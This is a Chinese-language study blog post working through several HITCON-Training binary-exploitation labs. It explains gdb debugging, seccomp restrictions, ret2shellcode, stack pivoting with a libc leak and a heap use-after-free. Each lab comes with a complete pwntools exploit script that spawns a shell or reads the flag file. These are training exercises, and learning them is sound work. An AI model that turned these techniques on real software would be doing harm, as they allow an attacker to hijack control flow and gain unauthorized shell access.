lab1-sysmagic
其实是一道逆向题目，关键需要我们输入和buf变量相同的数字，随后进入循环得到flag。第一想法：直接抄他代码，写个脚本跑出flag!（想想把数据提取出来的步骤emm实在是麻烦）更重要的是，我们的脚本就是程序的一部分，直接想办法让它执行一下拿来用就好了，所以更好的方法：
gdb调试动态调试程序的运行状态
几个常见指令：
-
断点操作
-
执行调试程序
-
r 跑到第一个遇到断点的位置
-
start 运行一行并停止
-
n(next) 单步调试且不进入函数体
-
s(step) 单步调试且会进入函数体
-
until 从循环体中跳出
-
finish 跳出函数体
-
c(continue) 继续执行至下一个断点处
-
q(quit) 退出gdb调试
-
设置操作
-
p 变量名 打印变量值
-
ptype 变量名 打印变量的类型
-
set var 变量名=value 设置变量值
所以，这道题：
gdb sysmagic
b *0x08048720
#没有开启PIE，地址固定
r
set $edx=$eax
#关键：在动调中改变寄存器中变量的值
c
lab2-orw
32位反汇编，要求我们注入shellcode，但是在注入之前有这样的函数：orw_seccomp( )->
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
?
v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
其中，关键是prctl( )函数，它可以对进程进行控制，
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
大概了解了一下:
1.option 设置为 PR_SET_NO_NEW_PRIVS (对应数值为38)的话，第二个参数设置为 1 ，不能够进行 execve 的系统调用，也就是IDA中的这句：
2.option为PR_SET_SECCOMP(22)时，如果arg2为SECCOMP_MODE _STRICT(1)，则只允许调用read\write_exit等几个函数调用；如果arg2为SECCOMP_MODE_FILTER(2)时，则为过滤模式，其中对syscall的限制通过arv3用BPF（指向一个数组的指针）实现，也就是这一句：
所以这道题就是通过orw_seccomp( )函数对我们的shellcode进行了限制，我们只能使用open\read\write这几个函数进行读取flag文件，exp如下：
from pwn import *
context(log_level=‘debug‘)
context(arch=‘i386‘,os=‘linux‘)
p=process(‘./orw.bin‘)
payload=shellcraft.pushstr(‘./flag‘)
#必须是相对于当前进程的路径
payload+=shellcraft.open(‘esp‘)
payload+=shellcraft.read(‘eax‘,‘esp‘,0x10)
payload+=shellcraft.write(1,‘esp‘,0x10)
#ssize_t read(int fd, void *buf, size_t count);
#ssize_t write (int fd, const void * buf, size_t count);
#读取的文件路径保存在了eax寄存器中
#open函数返回的文件内容存放在栈中
#栈顶指针取出0x10大小的内容输出到标准输出流中（1）（*buf和esp???）
#此处v爷爷是手写shellcode的，带我学一手汇编后再补上...
payload=asm(payload)
#将生成的shellcode进行汇编，生成机器码
p.recvuntil(‘shellcode:‘)
p.send(payload)
print p.recv()
#将获取的文件内容输出
lab3-ret2sc
这道题没有开启任何保护且32位反汇编：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]
?
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
}
可以看出应该是ret2shellcode类型，我们通过注入shellcode至数据段的Name，再利用gets( )函数实现栈溢出覆盖返回地址至Name的地址，执行shellcode，exp如下：
from pwn import *
context.log_level=‘debug‘
context(arch=‘i386‘,os=‘linux‘)
p=process(‘./ret2sc‘)
payload1=asm(shellcraft.sh())
p.recvuntil(‘Name:‘)
p.send(payload1)
payload2=‘a‘*32+p32(0x0804A060)
p.recvuntil("best:")
p.sendline(payload2)
p.interactive()
注：这道题的关键在于偏移量的计算，通过esp寻址的方式而非ebp寻址：
（一）IDA查看
故偏移量：0x1C+0x4=32
（二）gdb-peda
gdb ret2sc
patten create xxx #足够实现溢出的长度
r #一直运行到需要查看偏移量的输入点，并输入刚刚生成的pattern
pattern search/pattern offset xxxx #查看距离栈顶的偏移量，得到32
lab6-migration
考查点：
1.控制ebp，利用leave_ret指令（mov esp, ebp ; ret;）劫持程序流程。
2.栈溢出的字节数过少难以注入payload，栈迁移至bss段，构造伪栈帧从而执行程序，填充伪栈帧的ebp.
3.泄露puts函数地址，得到运行时libc中函数的偏移量
exp如下：
from pwn import *
context(log_level=‘debug‘,arch=‘i386‘)
p=process(‘./migration‘)
gdb.attach(p)
elf=ELF(‘./migration‘)
libc=elf.libc
?
#64-40=24/4=6
bss_start=0x0804A00C
##
buf1_addr=bss_start+0x200
buf2_addr=bss_start+0x600##
read_plt=elf.plt[‘read‘]
puts_plt=elf.plt[‘puts‘]
puts_got=elf.got[‘puts‘]
leave_ret=0x08048418
##
ret_addr=0x0804836d #pop_ebx_ret
payload=‘a‘*0x28+p32(buf1_addr)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1_addr)+p32(0x30)
#栈分布相同
#ebp+read+read_ret_addr+read_var
#leave-->mov esp,ebp;pop ebp
#fake_stack
?
#payload+=p32(buf2_addr)+p32(puts_plt)+p32(pop_edx_ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x30)
payload+=p32(buf2_addr)+p32(puts_plt)+p32(ret_addr)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x10)
#read_content
p.recvuntil(‘Try your best :\n‘)
p.sendline(payload)
sleep(1)
#ebp+put_addr+put_ret_addr+put_var+read_addr+read_ret_addr+read_var+read_content
puts_addr=u32(p.recv(4))
offset=puts_addr-libc.symbols[‘puts‘]
#the offset(between libc and real situation) is fixed
system=offset+libc.symbols[‘system‘]
bin_sh_addr=offset+libc.search("/bin/sh").next()
payload2=p32(0)+p32(system)+p32(0)+p32(bin_sh_addr)
p.send(payload2)
p.interactive()
lab10-hacknote
查看反汇编，发现del_note( )函数中在free内存块后并没有将其设置为NULL，所以存在UAF漏洞。
同时，发现后门函数magic，读add_note( )函数，
我们申请的chunk结构是这样的
每次执行print_note()时便会调用前四个字节中的函数，所以我们希望能够将前四个字节覆盖成magic()。因此我们利用use after free，在free掉note之后，利用写入content内容将note的前四个字节覆盖成我们的magic函数地址。
下面借助调试进一步解释：
首先在两个malloc()和两个free()函数处下断点：
第一次add中malloc后出现了note的内存块：
第二次malloc处，输入size为16,content为‘aaaa\n‘后出现了content内存块，同时查看相应内存块中存储的内容可以发现note内存块中的前四个字节为print_note_content函数地址，后四个字节为content内存块的地址，而content内存块中则是输出的字符串内容：
根据程序可以看出先释放content内存块，第一次free()后，的确在fastbin[2]处出现了第一个content内存块，回收free chunk：
接着释放第一个note内存块，在fastbin[0]处出现，同时查看两个内存块存储的内容，可以发现前四个字节都被存储成NULL，后四个字节没有进行修改：
在两个note均被free后，可以看出在fastbin[0]和fastbin[2]处都形成了单链表，通过free_chunk的前四个字节存储bk*：
再次add后的第一个malloc函数后，可以看出从fastbin[0]的链表头处摘下一个chunk，也是free前申请的第二个note内存块，作为note内存块：
输入size为8和content为‘xxxx\n‘后，原先申请的第一个note内存块作为了新的content内存块，查看相应内存中的内容可以看到与预期相符：
当我们继续将该note打印出来的时候可以看到：
程序在执行（EIP）我们输入的字符串时崩了，说明成功劫持程序流，exp如下：
from pwn import *
context(log_level=‘debug‘)
?
#p=remote()
p=process(‘./hacknote‘)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
def add(size,content):
ru("Your choice :")
sl(‘1‘)
ru("Note size :")
sl(str(size))
ru("Content :")
sl(content)
def delete(idx):
ru("Your choice :")
sl(‘2‘)
ru("Index :")
sl(str(idx))
def pri(idx):
ru("Your choice :")
sl(‘3‘)
ru("Index :")
sl(str(idx))
#任意字节数都可，但不能是8（note内存块的可用大小），因为如果是8的话，申请的note内存块和存储content的内存块都在同一个fastbin单链表中，再次add时会使用free掉的content内存块而不是note内存块，会出现奇怪的问题。
add(16,‘a‘)
add(16,‘b‘)
delete(0)
delete(1)
#magic=0x08048986 此处是因为所给程序中的路径无法cat查看，所以自己修改了hacknote.c文件
magic=0x08048A04
add(8,p32(magic))
pri(0)
p.interactive()
hitcon-training 学习记录（持续更新）
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